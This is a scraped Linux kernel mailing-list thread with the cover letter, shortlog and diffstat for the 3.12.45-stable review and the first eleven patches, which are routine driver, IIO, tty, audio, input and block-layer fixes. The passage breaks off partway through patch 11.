3.12.45-stable review
Subsystems (2)
cover 3.12.45-stable review
This is the start of the stable review cycle for the 3.12.45 release. There are 124 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Thu Jul 30 11:41:24 CEST 2015. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
http://kernel.org/pub/linux/kernel/people/jirislaby/stable-review/patch-3.12.45-rc1.xz
and the diffstat can be found below.
thanks,
js
===============
Aaro Koskinen (1):
pata_octeon_cf: fix broken build
Adam Jackson (1):
drm/mgag200: Reject non-character-cell-aligned mode widths
Al Viro (2):
uninline destroy_super(), consolidate alloc_super() get rid of s_files and files_lock
Alexander Sverdlin (1):
sctp: Fix race between OOTB responce and route removal
Andrew Duggan (1):
HID: multitouch: add support for Win 8.1 multitouch touchpads
Andy Lutomirski (1):
x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
Anton Blanchard (1):
powerpc/perf: Fix book3s kernel to userspace backtraces
Arun Chandran (1):
regmap: Fix regmap_bulk_read in BE mode
Axel Lin (1):
iio: adc: twl6030-gpadc: Fix modalias
Bandan Das (1):
KVM: nSVM: Check for NRIPS support before updating control field
Ben Hutchings (1):
pipe: iovec: Fix memory corruption when retrying atomic copy as
non-atomic
Bjorn Helgaas (2):
x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing
Brian King (1):
ipr: Increase default adapter init stage change timeout
Brian Norris (1):
mtd: fix: avoid race condition when accessing mtd->usecount
Catalin Marinas (1):
arm64: Do not attempt to use init_mm in reset_context()
Chen Gang (1):
netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid
warnings
Chengyu Song (1):
btrfs: incorrect handling for fiemap_fill_next_extent return
Chris Wilson (2):
drm/i915: Handle failure to kick out a conflicting fb driver drm/i915: Evict CS TLBs between batches
Christian Vogel (2):
usb/misc/usbled: Add Riso Kagaku Webmail Notifier usbhid/quirks: Ignore Riso Kagaku Webmail Notifier
Christoph Hellwig (1):
revert "softirq: Add support for triggering softirq work on softirqs"
Clemens Ladisch (1):
ALSA: usb-audio: add MAYA44 USB+ mixer control names
Dan Williams (1):
block: fix ext_dev_lock lockdep report
Daniel Vetter (1):
drm/i915: drop WaSetupGtModeTdRowDispatch:snb
Dave P Martin (1):
arm64: mm: Fix freeing of the wrong memmap entries with
!SPARSEMEM_VMEMMAP
David Herrmann (1):
HID: hyperv: make sure input buffer is big enough
Dinesh Ram (1):
[media] si4713: HID blacklist Si4713 USB development board
Dmitry Tunin (3):
ath3k: Add support of 0489:e076 AR3012 device
ath3k: add support of 13d3:3474 AR3012 device
Bluetooth: ath3k: add support of 04ca:300f AR3012 device
Eric Dumazet (1):
packet: read num_members once in packet_rcv_fanout()
Eric W. Biederman (2):
vfs: Remove incorrect debugging WARN in prepend_path
vfs: Ignore unlocked mounts in fs_fully_visible
Eugene Shatokhin (1):
kprobes/x86: Return correct length in __copy_instruction()
Ezequiel Garcia (1):
spi: pl022: Specify 'num-cs' property as required in devicetree
binding
Filipe Manana (1):
Btrfs: make xattr replace operations atomic
Forest Wilkinson (1):
HID: tivo: enable all buttons on the TiVo Slide Pro remote
Frank Praznik (1):
HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote
Grygorii Strashko (1):
leds / PM: fix hibernation on arm when gpio-led used with CPU led
trigger
Gu Zheng (1):
mm/memory_hotplug.c: set zone->wait_table to null after freeing it
Guennadi Liakhovetski (1):
ARM: shmobile: wait for MSTP clock status to toggle, when enabling it
Hans de Goede (2):
Input: elantech - fix detection of touchpads where the revision
matches a known rate
HID: Add some missing HUT mappings
Horia Geant? (2):
crypto: talitos - avoid memleak in talitos_alg_alloc() Revert "crypto: talitos - convert to use be16_add_cpu()"
Huei-Horng Yo (1):
HID: apple: add Apple wireless keyboard 2011 JIS model support
James Hogan (2):
MIPS: Fix enabling of DEBUG_STACKOVERFLOW
MIPS: Fix KVM guest fixmap address
James Smart (1):
lpfc: Add iotag memory barrier
Jan Kara (3):
udf: Remove repeated loads blocksize
udf: Check length of extended attributes and allocation descriptors
fs: Fix S_NOSEC handling
Jani Nikula (1):
drm/i915: Fix DDC probe for passive adapters
Jason A. Donenfeld (3):
ozwpan: Use proper check to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
Jeff Mahoney (1):
btrfs: cleanup orphans while looking up default subvolume
Jesse Barnes (1):
drm/i915: save/restore GMBUS freq across suspend/resume on gen4
Jim Bride (1):
drm/i915/hsw: Fix workaround for server AUX channel clock divisor
Joerg Roedel (1):
iommu/amd: Handle large pages correctly in free_pagetable
Johannes Berg (1):
cfg80211: wext: clear sinfo struct before calling driver
John D. Blair (1):
USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
John DeSilva (1):
HID: Add Holtek USB ID 04d9:a0c2 ETEKCITY Scroll
Julian Anastasov (1):
neigh: do not modify unlinked entries
Jérôme Glisse (1):
drm/radeon: fix freeze for laptop with Turks/Thames GPU.
Kazuya Mizuguchi (1):
usb: renesas_usbhs: Fix fifo unclear in usbhsf_prepare_pop
Kharlamov Alexey (1):
HID: hid-holtek-mouse: add new a070 mouse
Kristian Evensen (1):
HID: do not bind to Microchip Pick16F1454
Lars-Peter Clausen (1):
iio: adis16400: Report pressure channel scale
Laura Abbott (1):
n_tty: Fix auditing support for cannonical mode
Lenny Szubowicz (1):
cpufreq: pcc: Enable autoload of pcc-cpufreq for ACPI processors
Lukasz Majewski (1):
thermal: step_wise: fix: Prevent from binary overflow when trend is
dropping
Marc Zyngier (1):
arm: KVM: force execution of HCPTR access on VM exit
Marcelo Ricardo Leitner (1):
sctp: fix ASCONF list handling
Mark Brown (1):
ASoC: imx-audmux: Use uintptr_t for port numbers
Mark Hambleton (1):
arm64: cmpxchg: update macros to prevent warnings
Maxime Coquelin (1):
regmap: Fix possible shift overflow in regmap_field_init()
Milan Plzik (1):
HID: kye: Fix report descriptor for Genius PenSketch M912
Nikolay Aleksandrov (2):
bridge: fix multicast router rlist endless loop
bridge: fix br_stp_set_bridge_priority race conditions
Olivier Gay (1):
HID: add missing hid usages
Patrick Plattes (1):
HID: ignore jabra gn9350e
Patrick Riphagen (1):
USB: serial: ftdi_sio: Add support for a Motion Tracker Development
Board
Paul Cercueil (2):
iio: adis16400: Use != channel indices for the two voltage channels
iio: adis16400: Compute the scan mask from channel indices
Paul E. McKenney (1):
rcu: Correctly handle non-empty Tiny RCU callback list with none ready
Peter Hutterer (1):
Input: synaptics - add min/max quirk for Lenovo S540
Philipp Zabel (1):
serial: imx: Fix DMA handling for IDLE condition aborts
Ping Cheng (1):
HID: core: add two new usages for digitizer
Radim Krčmář (1):
KVM: x86: make vapics_in_nmi_mode atomic
Rafael J. Wysocki (1):
cpuidle / menu: Return (-1) if there are no suitable states
Rajat Jain (1):
PCI: pciehp: Add hotplug_lock to serialize hotplug events
Ryan Underwood (1):
Disable write buffering on Toshiba ToPIC95
Sebastien Szymanski (1):
ARM: clk-imx6q: refine sata's parent
Shaohua Li (1):
net: don't wait for order-3 page allocation
Simon Wood (1):
HID: hid-lg4ff: Support new version of G27
Sowmini Varadhan (1):
sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in
softirq context
Srinivas Pandruvada (1):
HID: hid-sensor-hub: fix sleeping function called from invalid context
Stefan Wahren (1):
regulator: core: fix constraints output buffer
Stephen M. Cameron (1):
hpsa: fix a couple pci id table mistakes
Steve Cornelius (1):
crypto: caam - fix RNG buffer cache alignment
Steven Rostedt (1):
tracing: Have filter check for balanced ops
Takashi Iwai (3):
ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
ALSA: hda - Add headset support to Acer Aspire V5
ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780
Tim Gardner (2):
scripts/sortextable: suppress warning: `relocs_size' may be used
uninitialized
fs: namespace: suppress 'may be used uninitialized' warnings
Tomas Sokorai (1):
HID: multitouch: add support of EliteGroup 05D8 panels
Uwe Kleine-König (1):
mtd: dc21285: use raw spinlock functions for nw_gpio_lock
Vineet Gupta (1):
ARC: add compiler barrier to LLSC based cmpxchg
Wang Long (1):
ring-buffer-benchmark: Fix the wrong sched_priority of producer
Webb Scales (1):
hpsa: correct off-by-one sizing of chained SG block
Wen-chien Jesse Sung (1):
Bluetooth: ath3k: Add a new ID 0cf3:e006 to ath3k list
Will Deacon (2):
arm64: xchg: prevent warning if return value is unused
arm64: vdso: work-around broken ELF toolchains in Makefile
Willem de Bruijn (1):
packet: avoid out of bounds read in round robin fanout
Wolfram Sang (1):
ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
Yann Droneaud (1):
arm64/mm: Remove hack in mmap randomize layout
Yoshihiro Shimoda (2):
usb: renesas_usbhs: Don't disable the pipe if Control write status
stage
thermal: rcar: fix ENR register value
huaibin Wang (1):
xfrm: release dst_orig in case of error in xfrm_lookup()
.../devicetree/bindings/spi/spi_pl022.txt | 2 +- arch/arc/include/asm/cmpxchg.h | 9 +- arch/arm/kvm/interrupts.S | 10 +- arch/arm/kvm/interrupts_head.S | 20 +- arch/arm/mach-imx/clk-imx6q.c | 2 +- arch/arm64/include/asm/cmpxchg.h | 35 ++-- arch/arm64/kernel/vdso/Makefile | 4 + arch/arm64/mm/context.c | 8 + arch/arm64/mm/init.c | 2 +- arch/arm64/mm/mmap.c | 12 +- arch/mips/include/asm/mach-generic/spaces.h | 4 + arch/mips/kernel/irq.c | 2 +- arch/powerpc/perf/core-book3s.c | 11 +- arch/sparc/kernel/ldc.c | 2 +- arch/x86/include/asm/kvm_host.h | 2 +- arch/x86/include/asm/segment.h | 13 +- arch/x86/kernel/head64.c | 2 +- arch/x86/kernel/head_32.S | 33 ++-- arch/x86/kernel/head_64.S | 20 +- arch/x86/kernel/kprobes/core.c | 7 +- arch/x86/kvm/i8254.c | 2 +- arch/x86/kvm/lapic.c | 4 +- arch/x86/kvm/svm.c | 8 +- arch/x86/pci/acpi.c | 17 +- block/genhd.c | 12 +- drivers/ata/pata_octeon_cf.c | 2 +- drivers/base/regmap/regmap.c | 8 +- drivers/bluetooth/ath3k.c | 8 + drivers/bluetooth/btusb.c | 4 + drivers/cpufreq/pcc-cpufreq.c | 7 + drivers/cpuidle/cpuidle.c | 3 + drivers/cpuidle/governors/menu.c | 2 +- drivers/crypto/caam/caamrng.c | 2 +- drivers/crypto/talitos.c | 4 +- drivers/gpu/drm/i915/i915_dma.c | 19 +- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_reg.h | 13 +- drivers/gpu/drm/i915/i915_suspend.c | 8 + drivers/gpu/drm/i915/intel_dp.c | 5 +- drivers/gpu/drm/i915/intel_i2c.c | 20 +- drivers/gpu/drm/i915/intel_pm.c | 5 - drivers/gpu/drm/i915/intel_ringbuffer.c | 66 ++++--- drivers/gpu/drm/mgag200/mgag200_mode.c | 5 + drivers/gpu/drm/radeon/radeon_device.c | 16 ++ drivers/hid/hid-apple.c | 3 + drivers/hid/hid-core.c | 10 + drivers/hid/hid-debug.c | 12 ++ drivers/hid/hid-holtek-mouse.c | 7 + drivers/hid/hid-hyperv.c | 11 +- drivers/hid/hid-ids.h | 18 ++ drivers/hid/hid-input.c | 22 +++ drivers/hid/hid-kye.c | 140 ++++++++++++++ drivers/hid/hid-lg4ff.c | 2 + drivers/hid/hid-multitouch.c | 16 +- drivers/hid/hid-sensor-hub.c | 7 +- drivers/hid/hid-sony.c | 3 + drivers/hid/hid-tivo.c | 1 + drivers/hid/usbhid/hid-quirks.c | 1 + drivers/iio/adc/twl6030-gpadc.c | 2 +- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_core.c | 38 ++-- drivers/input/mouse/elantech.c | 7 +- drivers/input/mouse/synaptics.c | 6 +- drivers/iommu/amd_iommu.c | 6 + drivers/leds/led-class.c | 7 +- drivers/mtd/maps/dc21285.c | 4 +- drivers/mtd/mtd_blkdevs.c | 5 + drivers/pci/hotplug/pciehp.h | 1 + drivers/pci/hotplug/pciehp_core.c | 7 +- drivers/pci/hotplug/pciehp_ctrl.c | 17 +- drivers/pci/hotplug/pciehp_hpc.c | 1 + drivers/pcmcia/topic.h | 16 ++ drivers/regulator/core.c | 2 +- drivers/scsi/hpsa.c | 6 +- drivers/scsi/ipr.h | 2 +- drivers/scsi/lpfc/lpfc_sli.c | 21 +++ drivers/sh/clk/cpg.c | 38 ++++ drivers/staging/ozwpan/ozusbsvc1.c | 19 +- drivers/thermal/rcar_thermal.c | 11 +- drivers/thermal/step_wise.c | 2 +- drivers/tty/n_tty.c | 17 +- drivers/tty/serial/imx.c | 8 + drivers/usb/misc/usbled.c | 34 ++++ drivers/usb/renesas_usbhs/fifo.c | 14 +- drivers/usb/serial/cp210x.c | 1 + drivers/usb/serial/ftdi_sio.c | 1 + drivers/usb/serial/ftdi_sio_ids.h | 1 + fs/btrfs/ctree.c | 2 +- fs/btrfs/ctree.h | 5 + fs/btrfs/dir-item.c | 10 +- fs/btrfs/extent_io.c | 5 +- fs/btrfs/super.c | 9 + fs/btrfs/xattr.c | 150 +++++++++------ fs/compat.c | 10 +- fs/dcache.c | 11 -- fs/file_table.c | 125 ------------- fs/inode.c | 4 +- fs/internal.h | 5 +- fs/namespace.c | 34 ++-- fs/open.c | 2 - fs/pipe.c | 55 +++--- fs/super.c | 201 ++++++++------------- fs/udf/inode.c | 28 +-- include/linux/fs.h | 13 -- include/linux/hid.h | 7 +- include/linux/interrupt.h | 22 --- include/linux/sh_clk.h | 19 +- include/net/dst.h | 1 + include/net/netns/sctp.h | 1 + include/net/sctp/structs.h | 4 + include/uapi/linux/input.h | 17 +- kernel/rcutiny.c | 5 + kernel/softirq.c | 131 -------------- kernel/trace/ring_buffer_benchmark.c | 2 +- kernel/trace/trace_events_filter.c | 10 +- mm/memory_hotplug.c | 4 +- net/bridge/br_ioctl.c | 2 - net/bridge/br_multicast.c | 7 +- net/bridge/br_stp_if.c | 4 +- net/core/neighbour.c | 11 ++ net/core/skbuff.c | 4 +- net/core/sock.c | 4 +- net/netfilter/nfnetlink_cthelper.c | 4 +- net/packet/af_packet.c | 20 +- net/sctp/output.c | 4 +- net/sctp/socket.c | 43 +++-- net/wireless/wext-compat.c | 2 + net/xfrm/xfrm_policy.c | 12 +- scripts/sortextable.h | 2 +- sound/pci/hda/patch_realtek.c | 19 ++ sound/soc/fsl/imx-audmux.c | 8 +- sound/usb/mixer.c | 1 + sound/usb/mixer_maps.c | 5 + 133 files changed, 1220 insertions(+), 813 deletions(-)
Signature · 1 line
2.4.6
PATCH 1/124 iio: adc: twl6030-gpadc: Fix modalias
From: Axel Lin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e5d732186270e0881f47d95610316c0614b21c3e upstream.
Remove extra space between platform prefix and DRIVER_NAME in MODULE_ALIAS.
--- drivers/iio/adc/twl6030-gpadc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/iio/adc/twl6030-gpadc.c +1 -1
@@ -1005,7 +1005,7 @@ static struct platform_driver twl6030_gpadc_driver = {module_platform_driver (twl6030_gpadc_driver); -MODULE_ALIAS ("platform: " DRIVER_NAME ); +MODULE_ALIAS ("platform:" DRIVER_NAME );MODULE_AUTHOR ("Balaji T K <[email protected]>" );MODULE_AUTHOR ("Graeme Gregory <[email protected]>" );MODULE_AUTHOR ("Oleksandr Kozaruk <[email protected]" );
Signature · 1 line
2.4.6
PATCH 2/124 iio: adis16400: Report pressure channel scale
From: Lars-Peter Clausen <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.
Add the scale for the pressure channel, which is currently missing.
--- drivers/iio/imu/adis16400_core.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/iio/imu/adis16400_core.c +5 -0
@@ -438,6 +438,11 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, *val = st->variant->temp_scale_nano /1000000 ; *val2 = (st->variant->temp_scale_nano %1000000 );return IIO_VAL_INT_PLUS_MICRO ; +case IIO_PRESSURE : +/* 20 uBar = 0.002kPascal */ + *val =0 ; + *val2 =2000 ; +return IIO_VAL_INT_PLUS_MICRO ;default :return -EINVAL ; }
Signature · 1 line
2.4.6
PATCH 3/124 iio: adis16400: Use != channel indices for the two voltage channels
In reply to Jiri SlabyFrom: Paul Cercueil <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7323d59862802ca109451eeda9777024a7625509 upstream.
Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index.
--- drivers/iio/imu/adis16400_core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
drivers/iio/imu/adis16400_core.c +4 -4
@@ -485,10 +485,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, } } -#define ADIS16400_VOLTAGE_CHAN (addr, bits, name, si) { \ +#define ADIS16400_VOLTAGE_CHAN (addr, bits, name, si, chn) { \ .type = IIO_VOLTAGE, \ .indexed = 1, \ - .channel = 0, \ + .channel = chn, \ .extend_name = name, \ .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | \ BIT(IIO_CHAN_INFO_SCALE), \
@@ -504,10 +504,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, }#define ADIS16400_SUPPLY_CHAN (addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY) + ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY, 0)#define ADIS16400_AUX_ADC_CHAN (addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC) + ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC, 1)#define ADIS16400_GYRO_CHAN (mod, addr, bits) { \ .type = IIO_ANGL_VEL, \
Signature · 1 line
2.4.6
PATCH 4/124 iio: adis16400: Compute the scan mask from channel indices
In reply to Jiri SlabyFrom: Paul Cercueil <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream.
We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device.
--- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_core.c | 25 ++++++++++++++++++------- 2 files changed, 19 insertions(+), 7 deletions(-)
drivers/iio/imu/adis16400.h +1 -0
@@ -165,6 +165,7 @@ struct adis16400_state {int filt_int;struct adis adis; +unsigned long avail_scan_mask[2 ]; };/* At the moment triggers are only used for ring buffer
drivers/iio/imu/adis16400_core.c +18 -7
@@ -824,11 +824,6 @@ static const struct iio_info adis16400_info = { .debugfs_reg_access = adis_debugfs_reg_access, }; -static const unsigned long adis16400_burst_scan_mask[] = { - ~0UL , -0 , -}; -static const char *const adis16400_status_error_msgs[] = { [ADIS16400_DIAG_STAT_ZACCL_FAIL ] ="Z-axis accelerometer self-test failure" , [ADIS16400_DIAG_STAT_YACCL_FAIL ] ="Y-axis accelerometer self-test failure" ,
@@ -876,6 +871,20 @@ static const struct adis_data adis16400_data = { BIT(ADIS16400_DIAG_STAT_POWER_LOW), }; +static void adis16400_setup_chan_mask (struct adis16400_state *st) +{ +const struct adis16400_chip_info *chip_info = st->variant; +unsigned i; + +for (i =0 ; i < chip_info->num_channels; i++) { +const struct iio_chan_spec *ch = &chip_info->channels[i]; + +if (ch->scan_index >=0 && + ch->scan_index !=ADIS16400_SCAN_TIMESTAMP ) + st->avail_scan_mask[0 ] |=BIT (ch->scan_index); + } +} +static int adis16400_probe (struct spi_device *spi) {struct adis16400_state *st;
@@ -899,8 +908,10 @@ static int adis16400_probe(struct spi_device *spi) indio_dev->info = &adis16400_info; indio_dev->modes =INDIO_DIRECT_MODE ; -if (!(st->variant->flags &ADIS16400_NO_BURST )) - indio_dev->available_scan_masks = adis16400_burst_scan_mask; +if (!(st->variant->flags &ADIS16400_NO_BURST )) { +adis16400_setup_chan_mask (st); + indio_dev->available_scan_masks = st->avail_scan_mask; + } ret =adis_init (&st->adis, indio_dev, spi, &adis16400_data);if (ret)
Signature · 1 line
2.4.6
PATCH 5/124 n_tty: Fix auditing support for cannonical mode
In reply to Jiri SlabyFrom: Laura Abbott <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 72586c6061ab8c23ffd9f301ed19782a44ff5f04 upstream.
Commit 32f13521ca68bc624ff6effc77f308a52b038bf0 ("n_tty: Line copy to user buffer in canonical mode") changed cannonical mode copying to use copy_to_user but missed adding the call to the audit framework. Add in the appropriate functions to get audit support.
--- drivers/tty/n_tty.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-)
drivers/tty/n_tty.c +14 -3
@@ -185,6 +185,17 @@ static int receive_room(struct tty_struct *tty)return left; } +static inline int tty_copy_to_user (struct tty_struct *tty, +void __user *to, +const void *from, +unsigned long n) +{ +struct n_tty_data *ldata = tty->disc_data; + +tty_audit_add_data (tty, to, n, ldata->icanon); +return copy_to_user (to, from, n); +} +/** * n_tty_set_room - receive space * @tty: terminal
@@ -2070,12 +2081,12 @@ static int canon_copy_from_read_buf(struct tty_struct *tty, __func__, eol, found, n, c, size, more);if (n > size) { - ret =copy_to_user (*b,read_buf_addr (ldata, tail), size); + ret =tty_copy_to_user (tty, *b,read_buf_addr (ldata, tail), size);if (ret)return -EFAULT ; - ret =copy_to_user (*b + size, ldata->read_buf, n - size); + ret =tty_copy_to_user (tty, *b + size, ldata->read_buf, n - size); }else - ret =copy_to_user (*b,read_buf_addr (ldata, tail), n); + ret =tty_copy_to_user (tty, *b,read_buf_addr (ldata, tail), n);if (ret)return -EFAULT ;
Signature · 1 line
2.4.6
PATCH 6/124 ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
In reply to Jiri SlabyFrom: Takashi Iwai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.
Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
--- sound/pci/hda/patch_realtek.c | 1 + 1 file changed, 1 insertion(+)
sound/pci/hda/patch_realtek.c +1 -0
@@ -2157,6 +2157,7 @@ static const struct hda_fixup alc882_fixups[] = {static const struct snd_pci_quirk alc882_fixup_tbl[] = {SND_PCI_QUIRK (0x1025 ,0x006c ,"Acer Aspire 9810" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0090 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ), +SND_PCI_QUIRK (0x1025 ,0x0107 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x010a ,"Acer Ferrari 5000" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0110 ,"Acer Aspire" ,ALC883_FIXUP_ACER_EAPD ),SND_PCI_QUIRK (0x1025 ,0x0112 ,"Acer Aspire 9303" ,ALC883_FIXUP_ACER_EAPD ),
Signature · 1 line
2.4.6
PATCH 7/124 ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
In reply to Jiri SlabyFrom: Wolfram Sang <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream.
Fix this from the logs:
usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
...
usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1
--- sound/usb/mixer.c | 1 + 1 file changed, 1 insertion(+)
sound/usb/mixer.c +1 -0
@@ -891,6 +891,7 @@ static void volume_control_quirks(struct usb_mixer_elem_info *cval,case USB_ID (0x046d ,0x081d ):/* HD Webcam c510 */ case USB_ID (0x046d ,0x0825 ):/* HD Webcam c270 */ case USB_ID (0x046d ,0x0826 ):/* HD Webcam c525 */ +case USB_ID (0x046d ,0x08ca ):/* Logitech Quickcam Fusion */ case USB_ID (0x046d ,0x0991 ):/* Most audio usb devices lie about volume resolution. * Most Logitech webcams have res = 384.
Signature · 1 line
2.4.6
PATCH 8/124 ALSA: usb-audio: add MAYA44 USB+ mixer control names
In reply to Jiri SlabyFrom: Clemens Ladisch <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.
Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB).
--- sound/usb/mixer_maps.c | 5 +++++ 1 file changed, 5 insertions(+)
sound/usb/mixer_maps.c +5 -0
@@ -418,6 +418,11 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = { .map = ebox44_map, }, { +/* MAYA44 USB+ */ + .id = USB_ID(0x2573, 0x0008), + .map = maya44_map, + }, + {/* KEF X300A */ .id = USB_ID(0x27ac, 0x1000), .map = scms_usb3318_map,
Signature · 1 line
2.4.6
PATCH 9/124 Input: synaptics - add min/max quirk for Lenovo S540
In reply to Jiri SlabyFrom: Peter Hutterer <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.
https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2
--- drivers/input/mouse/synaptics.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
drivers/input/mouse/synaptics.c +5 -1
@@ -138,6 +138,10 @@ static const struct min_max_quirk min_max_pnpid_table[] = {1024 ,5112 ,2024 ,4832 }, { + (const char *const []){"LEN2000" ,NULL }, +1024 ,5113 ,2021 ,4832 + }, + { (const char *const []){"LEN2001" ,NULL },1024 ,5022 ,2508 ,4832 },
@@ -173,7 +177,7 @@ static const char * const topbuttonpad_pnp_ids[] = {"LEN0047" ,"LEN0048" ,"LEN0049" , -"LEN2000" , +"LEN2000" ,/* S540 */ "LEN2001" ,/* Edge E431 */ "LEN2002" ,/* Edge E531 */ "LEN2003",
Signature · 1 line
2.4.6
PATCH 10/124 Input: elantech - fix detection of touchpads where the revision matches a known rate
In reply to Jiri SlabyFrom: Hans de Goede <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream.
Make the check to skip the rate check more lax, so that it applies to all hw_version 4 models.
This fixes the touchpad not being detected properly on Asus PU551LA laptops.
--- drivers/input/mouse/elantech.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/input/mouse/elantech.c +4 -3
@@ -1273,10 +1273,11 @@ static bool elantech_is_signature_valid(const unsigned char *param)return true;/* -* Some models have a revision higher then 20. Meaning param[2] may -* be 10 or 20, skip the rates check for these. +* Some hw_version >= 4 models have a revision higher then 20. Meaning +* that param[2] may be 10 or 20, skip the rates check for these. */ -if (param[0 ] ==0x46 && (param[1 ] &0xef ) ==0x0f && param[2 ] <40 ) +if ((param[0 ] &0x0f ) >=0x06 && (param[1 ] &0xaf ) ==0x0f && + param[2 ] <40 )return true;for (i =0 ; i <ARRAY_SIZE (rates); i++)
Signature · 1 line
2.4.6
PATCH 11/124 block: fix ext_dev_lock lockdep report
In reply to Jiri SlabyFrom: Dan Williams <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.
=================================
[ INFO: inconsistent lock state ]
4.1.0-rc7+ #217 Tainted: G O
---------------------------------
inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
(ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
{SOFTIRQ-ON-W} state was registered at:
[<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70 [<ffffffff810c1947>] lock_acquire+0xb7/0x290 [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70 [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70 [<ffffffff810c1947>] lock_acquire+0xb7/0x290 [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50 [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70 [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [<ffffffff8143bfec>] part_release+0x1c/0x50 [<ffffffff8158edf6>] device_release+0x36/0xb0 [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0 [<ffffffff8145aad0>] kobject_put+0x30/0x70 [<ffffffff8158f147>] put_device+0x17/0x20 [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180 [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0 [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90 [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90 [<ffffffff81067e2e>] __do_softirq+0xde/0x600
Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
